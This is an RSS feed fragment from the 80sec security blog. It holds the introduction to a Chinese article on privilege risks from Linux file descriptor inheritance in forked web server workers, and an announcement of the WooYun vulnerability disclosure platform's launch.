		<description><![CDATA[Linux 系统文件描述符继承带来的危害

EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2010-11-20

[ 目录 ]
0×00 背景
0×01 POC
0×02 深入利用
0×03 解决方案及后话

0×00 前言

在初学linux编程的时候，都会知道这样一个概念：当你用fork建立一个子进程，父进程的所有内容会被“完完整整”的复制到子进程中。子进程是父进程的一个clone体，除了pid不同，其余一切相同。
再试想一下这样的场景：在Webserver中，首先会使用root权限启动，以此打开root权限才能打开的端口、日志等文件。然后降权到普通用户，fork出一些worker进程，这些进程中再进行解析脚本、写日志、输出结果等进一步操作。
然而这里，仔细思考一下，就会发现隐含一个安全问题：子进程中既然继承了父进程的FD，那么子进程中运行的PHP或其他脚本只需要继续操作这些FD，就能够使用普通权限“越权”操作root用户才能操作的文件。]]></description>
		<link>http://www.80sec.com/security-issue-on-linux-fd-inheritance.html</link>
			</item>
	<item>
		<title>WooYun-乌云正式上线</title>
		<description><![CDATA[WooYun是一个位于厂商和安全研究者之间的平台，你可以通过这个平台来接受大家报告漏洞也可以通过这个平台来报告漏洞，不同的是，所有的过程都将在WooYun上进行，你不用担心厂商像之前某些厂商所作的否认这个漏洞从而轻易否认你的努力，厂商也不用担心漏洞散落在各个Blog，论坛而导致无法及时处理导致损失，当然，这一切都是建立在尊重和荣耀这个前提。 相比漏洞的实际成因，我们更倾向于通过实际的危害来定义一个漏洞的危害和等级，所以WooYun会关注危害比较严重的譬如远程代码执行，权限提升，SQL注射之类的漏洞，一些客户端的漏洞会根据实际应用的场景和所造成的危害和影响来定义等级，譬如目前的实际环境中淘宝相对于其他厂商就比较关注URL跳转和反射型xss漏洞。与传统的漏洞相比，我们关注服务器级别的如弱密码，不安全的服务器设置这种运维级别的问题，甚至如果有钓鱼欺诈之类对业务运营有影响的问题也可以通过平台向厂商反映。如果你能通过录像或者抓图实际证明漏洞的危害将是最好的漏洞证明方式，你可以在WooYun看到我们的漏洞分类和定义。 我们欢迎影响力大的，更重要的是注重安全的厂商在WooYun注册，同时也欢迎对漏洞研究有兴趣的白帽子来WooYun投递漏洞。为了保证WooYun的质量，目前对于厂商我们采取线下邀请的方式来注册，对于白帽子会采取投递漏洞获取邀请码的方式来注册。 我们昨天刚公布了第一批的漏洞细节，通过这些漏洞我们不只可以帮助我们分析常见的漏洞类型和原理实例，还可以更好的理解互联网安全的现状以及反思我们的安全工作本身，对于漏洞，我们有五天的确认期以给厂商时间确认漏洞的存在和一个月的保密期，厂商可以在这段较长的时间里修复自己的安全问题来避免损失。 目前WooYun完全由80sec和80sec的一些朋友利用周末时间完成，所以问题也是很多的，这里也感谢大家对各种Bug的包涵 -_-&#124;&#124; WooYun将按照预期持续的改进 ：） 官方网站：http://www.wooyun.org 关于wooyun：http://www.wooyun.org/about.php]]></description>
		<link>http://www.80sec.com/wooyun-%e4%b9%8c%e4%ba%91%e6%ad%a3%e5%bc%8f%e4%b8%8a%e7%ba%bf.html</link>
			</item>
</channel>
</rss>

